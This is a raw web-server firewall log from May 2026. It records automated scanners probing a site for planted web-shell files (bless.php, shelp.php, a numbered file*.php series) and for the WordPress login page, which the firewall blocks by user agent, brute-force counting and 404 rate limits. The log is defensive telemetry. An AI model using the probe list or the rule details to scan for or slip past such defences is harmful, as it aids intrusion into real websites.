[Mon May 25 07:09:30.137698 2026] [:error] [pid 9304:tid 9368] [client 104.28.214.122:20350] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/gifclass.php"] [unique_id "ahOFKuVEV2qpMC_1UzSWXgAAAIc"]
[Mon May 25 07:09:30.596181 2026] [:error] [pid 21606:tid 21632] [client 104.28.214.122:20403] [client 104.28.214.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/bless.php"] [unique_id "ahOFKmswdp0RYkH5t9XJrQAAAVg"]
[Mon May 25 07:09:34.054548 2026] [:error] [pid 9304:tid 9367] [client 104.28.246.122:55477] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/class-t.api.php"] [unique_id "ahOFLuVEV2qpMC_1UzSWgAAAAIY"]
[Mon May 25 07:09:34.502595 2026] [:error] [pid 9304:tid 9370] [client 104.28.246.122:55559] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/blurbs.php"] [unique_id "ahOFLuVEV2qpMC_1UzSWjAAAAIk"]
[Mon May 25 07:09:34.951618 2026] [:error] [pid 9304:tid 9364] [client 104.28.246.122:55606] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/akcc.php"] [unique_id "ahOFLuVEV2qpMC_1UzSWlgAAAIM"]
[Mon May 25 07:09:35.399378 2026] [:error] [pid 9304:tid 9385] [client 104.28.246.122:55641] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/abcd.php"] [unique_id "ahOFL-VEV2qpMC_1UzSWmwAAAJg"]
[Mon May 25 07:09:38.862156 2026] [:error] [pid 9398:tid 9427] [client 104.28.246.122:55376] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/shelp.php"] [unique_id "ahOFMuhIu7KstzsCua-3jwAAANc"]
[Mon May 25 07:09:39.312896 2026] [:error] [pid 50423:tid 50438] [client 104.28.246.122:55404] [client 104.28.246.122] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "windfarmcoolants.com.au"] [uri "/cord.php"] [unique_id "ahOFM6JWO7En4nKEQ3g_KAAAAQ0"]
[Mon May 25 11:04:34.818517 2026] [:error] [pid 62427:tid 62476] [client 134.209.17.62:57811] [client 134.209.17.62] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 134.209.17.62, incrementing brute counter"] [hostname "windfarmcoolants.com.au"] [uri "/wp-login.php"] [unique_id "ahO8QvMUa83fc4GDyBwfrQAAAVM"]
[Mon May 25 11:04:34.822705 2026] [:error] [pid 62427:tid 62476] [client 134.209.17.62:57811] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-login.php
[Mon May 25 15:18:29.060128 2026] [:error] [pid 62722:tid 62727] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/ups.php
[Mon May 25 15:18:29.250815 2026] [:error] [pid 62722:tid 62728] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/inf.php
[Mon May 25 15:18:29.441031 2026] [:error] [pid 62722:tid 62747] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file2.php
[Mon May 25 15:18:29.689636 2026] [:error] [pid 62722:tid 62736] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file25.php
[Mon May 25 15:18:29.884595 2026] [:error] [pid 62722:tid 62741] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file30.php
[Mon May 25 15:18:30.075091 2026] [:error] [pid 62722:tid 62733] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file26.php
[Mon May 25 15:18:30.265841 2026] [:error] [pid 62722:tid 62748] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file9.php
[Mon May 25 15:18:30.457461 2026] [:error] [pid 62722:tid 62727] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file23.php
[Mon May 25 15:18:30.649100 2026] [:error] [pid 62722:tid 62732] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file.php
[Mon May 25 15:18:30.844415 2026] [:error] [pid 62722:tid 62743] [client 52.238.197.40:58554] File does not exist: /usr/local/apache/htdocs/suspended-page/file21.php
[Mon May 25 15:18:31.033351 2026] [:error] [pid 62722:tid 62728] [client 52.238.197.40:58554] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file17.php"] [unique_id "ahP3x6M6ssnLWYf6CVAPqgAAAEQ"]
[Mon May 25 15:18:31.425581 2026] [:error] [pid 62426:tid 62442] [client 52.238.197.40:58556] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file17.php"] [unique_id "ahP3x0j3D3Mo8ANpTRC_tQAAAAw"]
[Mon May 25 15:18:31.874450 2026] [:error] [pid 3698:tid 3702] [client 52.238.197.40:8176] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file17.php"] [unique_id "ahP3xwtZBEwA4fyFLKOo2gAAAQI"]
[Mon May 25 15:18:32.256356 2026] [:error] [pid 3698:tid 3719] [client 52.238.197.40:44880] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file17.php"] [unique_id "ahP3yAtZBEwA4fyFLKOo3AAAARM"]
[Mon May 25 15:18:32.637143 2026] [:error] [pid 3698:tid 3710] [client 52.238.197.40:8167] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahP3yAtZBEwA4fyFLKOo3QAAAQo"]
[Mon May 25 15:18:33.064164 2026] [:error] [pid 62428:tid 62501] [client 52.238.197.40:8145] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahP3yZNosGBa7mui3VQQ4AAAAJE"]
[Mon May 25 15:18:33.468358 2026] [:error] [pid 62427:tid 62459] [client 52.238.197.40:8139] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahP3yfMUa83fc4GDyBxTEgAAAUI"]
[Mon May 25 15:18:33.850822 2026] [:error] [pid 3698:tid 3700] [client 52.238.197.40:8141] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file6.php"] [unique_id "ahP3yQtZBEwA4fyFLKOo4QAAAQA"]
[Mon May 25 15:18:34.302872 2026] [:error] [pid 62722:tid 62739] [client 52.238.197.40:58551] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file13.php"] [unique_id "ahP3yqM6ssnLWYf6CVAPrwAAAE8"]
[Mon May 25 15:18:34.718323 2026] [:error] [pid 3698:tid 3708] [client 52.238.197.40:8129] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file13.php"] [unique_id "ahP3ygtZBEwA4fyFLKOo5AAAAQg"]
[Mon May 25 15:18:35.215769 2026] [:error] [pid 3698:tid 3715] [client 52.238.197.40:58512] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file13.php"] [unique_id "ahP3ywtZBEwA4fyFLKOo5QAAAQ8"]
[Mon May 25 15:18:35.643286 2026] [:error] [pid 62427:tid 62476] [client 52.238.197.40:44881] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file13.php"] [unique_id "ahP3y_MUa83fc4GDyBxTEwAAAVM"]
[Mon May 25 15:18:36.102354 2026] [:error] [pid 62427:tid 62471] [client 52.238.197.40:8170] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file7.php"] [unique_id "ahP3zPMUa83fc4GDyBxTFAAAAU4"]
[Mon May 25 15:18:36.517494 2026] [:error] [pid 3698:tid 3722] [client 52.238.197.40:44873] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file7.php"] [unique_id "ahP3zAtZBEwA4fyFLKOo6AAAARY"]
[Mon May 25 15:18:36.930691 2026] [:error] [pid 3698:tid 3707] [client 52.238.197.40:58505] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file7.php"] [unique_id "ahP3zAtZBEwA4fyFLKOo6QAAAQc"]
[Mon May 25 15:18:37.388354 2026] [:error] [pid 62426:tid 62435] [client 52.238.197.40:44872] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file7.php"] [unique_id "ahP3zUj3D3Mo8ANpTRC_twAAAAU"]
[Mon May 25 15:18:37.899958 2026] [:error] [pid 62722:tid 62725] [client 52.238.197.40:58518] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ahP3zaM6ssnLWYf6CVAPtAAAAEE"]
[Mon May 25 15:18:38.327485 2026] [:error] [pid 3698:tid 3711] [client 52.238.197.40:44908] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ahP3zgtZBEwA4fyFLKOo7gAAAQs"]
[Mon May 25 15:18:38.740874 2026] [:error] [pid 3698:tid 3700] [client 52.238.197.40:58499] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ahP3zgtZBEwA4fyFLKOo7wAAAQA"]
[Mon May 25 15:18:39.183091 2026] [:error] [pid 3698:tid 3703] [client 52.238.197.40:58526] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "ahP3zwtZBEwA4fyFLKOo8QAAAQM"]
[Mon May 25 15:18:39.588680 2026] [:error] [pid 62427:tid 62472] [client 52.238.197.40:44883] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file15.php"] [unique_id "ahP3z_MUa83fc4GDyBxTGAAAAU8"]
[Mon May 25 15:18:40.019317 2026] [:error] [pid 3698:tid 3712] [client 52.238.197.40:58498] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file15.php"] [unique_id "ahP30AtZBEwA4fyFLKOo8wAAAQw"]
[Mon May 25 15:18:40.438996 2026] [:error] [pid 3698:tid 3723] [client 52.238.197.40:8183] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file15.php"] [unique_id "ahP30AtZBEwA4fyFLKOo9QAAARc"]
[Mon May 25 15:18:40.866601 2026] [:error] [pid 3698:tid 3717] [client 52.238.197.40:58555] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file15.php"] [unique_id "ahP30AtZBEwA4fyFLKOo9wAAARE"]
[Mon May 25 15:18:41.295579 2026] [:error] [pid 3698:tid 3711] [client 52.238.197.40:58515] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file16.php"] [unique_id "ahP30QtZBEwA4fyFLKOo-QAAAQs"]
[Mon May 25 15:18:41.743610 2026] [:error] [pid 3698:tid 3700] [client 52.238.197.40:58506] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file16.php"] [unique_id "ahP30QtZBEwA4fyFLKOo-gAAAQA"]
[Mon May 25 15:18:42.172074 2026] [:error] [pid 62427:tid 62478] [client 52.238.197.40:58503] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file16.php"] [unique_id "ahP30vMUa83fc4GDyBxTGgAAAVU"]
[Mon May 25 15:18:42.593422 2026] [:error] [pid 62515:tid 62517] [client 52.238.197.40:8186] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file16.php"] [unique_id "ahP30hig0_XsOwmnrv_gvgAAAMA"]
[Mon May 25 15:18:42.976582 2026] [:error] [pid 62515:tid 62521] [client 52.238.197.40:8128] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file29.php"] [unique_id "ahP30hig0_XsOwmnrv_gvwAAAMQ"]
[Mon May 25 15:18:43.354726 2026] [:error] [pid 62515:tid 62531] [client 52.238.197.40:8157] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file29.php"] [unique_id "ahP30xig0_XsOwmnrv_gwQAAAM4"]
[Mon May 25 15:18:43.744464 2026] [:error] [pid 62722:tid 62734] [client 52.238.197.40:8185] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file29.php"] [unique_id "ahP306M6ssnLWYf6CVAPtQAAAEo"]
[Mon May 25 15:18:44.136040 2026] [:error] [pid 62722:tid 62729] [client 52.238.197.40:58510] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file29.php"] [unique_id "ahP31KM6ssnLWYf6CVAPuAAAAEU"]
[Mon May 25 15:18:44.525792 2026] [:error] [pid 3698:tid 3713] [client 52.238.197.40:44888] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file11.php"] [unique_id "ahP31AtZBEwA4fyFLKOo_wAAAQ0"]
[Mon May 25 15:18:44.905917 2026] [:error] [pid 3698:tid 3710] [client 52.238.197.40:44864] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file11.php"] [unique_id "ahP31AtZBEwA4fyFLKOpAAAAAQo"]
[Mon May 25 15:18:45.288316 2026] [:error] [pid 3698:tid 3709] [client 52.238.197.40:58552] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file11.php"] [unique_id "ahP31QtZBEwA4fyFLKOpAgAAAQk"]
[Mon May 25 15:18:45.738134 2026] [:error] [pid 3698:tid 3721] [client 52.238.197.40:8156] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file11.php"] [unique_id "ahP31QtZBEwA4fyFLKOpBgAAARU"]
[Mon May 25 15:18:46.147374 2026] [:error] [pid 62426:tid 62440] [client 52.238.197.40:8158] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahP31kj3D3Mo8ANpTRC_uAAAAAo"]
[Mon May 25 15:18:46.540803 2026] [:error] [pid 62428:tid 62503] [client 52.238.197.40:44875] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahP31pNosGBa7mui3VQQ4gAAAJM"]
[Mon May 25 15:18:46.977659 2026] [:error] [pid 3698:tid 3723] [client 52.238.197.40:58532] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahP31gtZBEwA4fyFLKOpDAAAARc"]
[Mon May 25 15:18:47.380463 2026] [:error] [pid 62722:tid 62747] [client 52.238.197.40:44895] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file5.php"] [unique_id "ahP316M6ssnLWYf6CVAPugAAAFc"]
[Mon May 25 15:18:47.756769 2026] [:error] [pid 62515:tid 62537] [client 52.238.197.40:7262] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ahP31xig0_XsOwmnrv_gxQAAANQ"]
[Mon May 25 15:18:48.151614 2026] [:error] [pid 62722:tid 62736] [client 52.238.197.40:44866] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ahP32KM6ssnLWYf6CVAPuwAAAEw"]
[Mon May 25 15:18:48.527334 2026] [:error] [pid 62722:tid 62742] [client 52.238.197.40:58544] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ahP32KM6ssnLWYf6CVAPvAAAAFI"]
[Mon May 25 15:18:48.901981 2026] [:error] [pid 3698:tid 3701] [client 52.238.197.40:8154] [client 52.238.197.40] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file4.php"] [unique_id "ahP32AtZBEwA4fyFLKOpEwAAAQE"]
